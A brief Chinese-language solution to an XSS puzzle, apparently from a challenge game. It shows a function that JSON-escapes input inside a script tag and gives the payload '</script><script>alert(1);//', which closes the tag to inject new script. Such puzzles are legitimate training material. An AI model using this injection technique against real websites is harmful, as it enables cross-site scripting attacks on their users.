题目
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}
解题报告
从代码可知对输入做了 stringify
过滤,关于其功能详见 这里
简单来说就是把 "
和 \
都转义了,导致无法直接闭合函数。
但是闭合 <script>
就可以了,构造 payload 如下 (此处没有闭合后半段的双引号,而是通过行注释 //
屏蔽掉):
</script><script>alert(1);//
答案下载
- payload.js : 下载